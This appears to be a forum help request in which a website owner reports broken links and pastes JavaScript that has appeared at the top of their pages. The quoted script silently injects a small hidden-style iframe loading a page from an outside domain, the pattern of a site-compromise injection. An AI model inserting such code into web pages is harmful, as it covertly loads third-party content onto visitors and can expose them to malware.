Links not working, code at top of page

I’ve had these pages up for over a year/years for some of them and just this week, something’s changed. I hadn’t touched the page at all recently. Now I’m seeing this at the top of my page:

(function () { var id = '206'; var mc09 = document.createElement('iframe'); mc09.src = 'https://creativ13.de/counter.php'; mc09.style.position = 'absolute'; mc09.style.border = '1'; mc09.style.height = '31px'; mc09.style.width = '42px'; mc09.style.left = '500px'; mc09.style.top = '100px'; if (!document.getElementById('mc')) { document.write(''); document.write(''); document.getElementById('mc').appendChild(mc09); }})();; charset=UTF-8" />

And I can’t click on any of the links. What’s going on? My page is gta4onlineguide.com Thanks for any help.